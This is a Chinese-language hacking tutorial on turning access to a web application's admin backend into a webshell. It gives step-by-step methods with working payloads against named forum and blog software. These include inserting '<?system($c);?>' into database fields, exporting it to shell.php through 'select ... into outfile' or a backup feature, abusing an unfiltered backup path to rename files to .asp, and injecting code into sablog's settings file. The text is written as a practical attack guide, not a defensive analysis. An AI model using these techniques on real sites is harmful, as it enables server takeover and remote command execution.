1.asp+acc/mssql程序
主要是利用后臺對access數據庫的"備份數據庫"或"恢復數據庫"功能,"備份的數據庫路徑"等變量沒有過濾導致可以把任意文件后綴改為asp,從而得到webshell,msssql版的程序就直接應用了access版的代碼,導致sql版照樣可以利用。具體方法和分析可以參考angel的文章《動網論壇7.0獲得webshell的分析》。據我所知,目前還有很多的asp程序后臺存在這樣的漏洞,利用方法大同小異。
2.php+mysql程序
①.利用后臺的數據查詢功能
在有的程序后臺提供直接對mysql數據查詢功能,我們就可以利用它執行select ... into outfile查詢輸出php文件,因為所有的數據是存放在mysql里的,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用select ... into outfile語句導出shell。我們這里用ipb論壇做個演示:
第一步:把我們的webshell代碼寫入數據庫
隨便找個可以寫入的地方(注意對你輸入的要沒有進行過濾),這里我們就用后臺的新建立個論壇,在論壇描敘里寫入我們的shell代碼<?system($c);?> 提交 ok這樣就把我們的shell寫入了數據庫了。
第二步:導出webshell
我們來到"sql management"里的"mysql toolbox"在"run query"里寫入語句:
select * from 123forums into outfile 'd:\shell.php'
^ ^
shell代碼所在的表 web目錄絕對路徑
如果主機mysql查詢成功,我們就得到我們webshell:
http://127.0.0.1/test/shell.php?c=dir
②.利用mysql數據備用
思路 結合上面的2種情況,有的程序在備用數據庫時 對備用文件的類型沒有限制,從而導出php文件,我們和①中那樣,通過把webshell代碼寫入數據庫中,在利用數據備用導出webshell,我們大家熟悉的vbb論壇就可以用這個方法來得到webshell:
我們設置用戶的簽名為<?system($c);?> 然后到后臺的數據庫備份,在"在服務器上備份數據庫到文件"里改為shell.php ,提交保存。我們就可以在論壇的根目錄下訪問我們的shell了,因為可能到處的文件比較大,我們可以換一個可以生成文件的webshell代碼。
從后臺到webshell的一點思路--補充篇
文/superhei
思路:
利用web后臺系統設置,如果是系統設置是保存在php/asp文件了,我們可以同過在設置里寫入webshell代碼到保存設置的php/asp文件了.
演示:
程序sablog,sablog的基本設置保存在admin\settings.php 由于后臺在提交設置的變量十沒有過濾,導致我們可以向admin\settings.php寫入任意代碼。
進入后臺--"基本設置"--"blog名稱"(其他項也可以)--填入代碼:sss";phpinfo();"ss --提交。
這樣我們就把phpinfo()寫入了admin\settings.php,我們可以看到admin\settings.php正常顯示php的信息。
小結:
上面是php等系統的演示,同樣也適合asp等其他的系統(比如動力,驚云下載等等)。只是注意在寫代碼的時候要小心,如果代碼有錯,可能導致整個web系統的癱瘓。
還有一個是利用上傳漏洞的 這個就不要多說了 呵呵:)。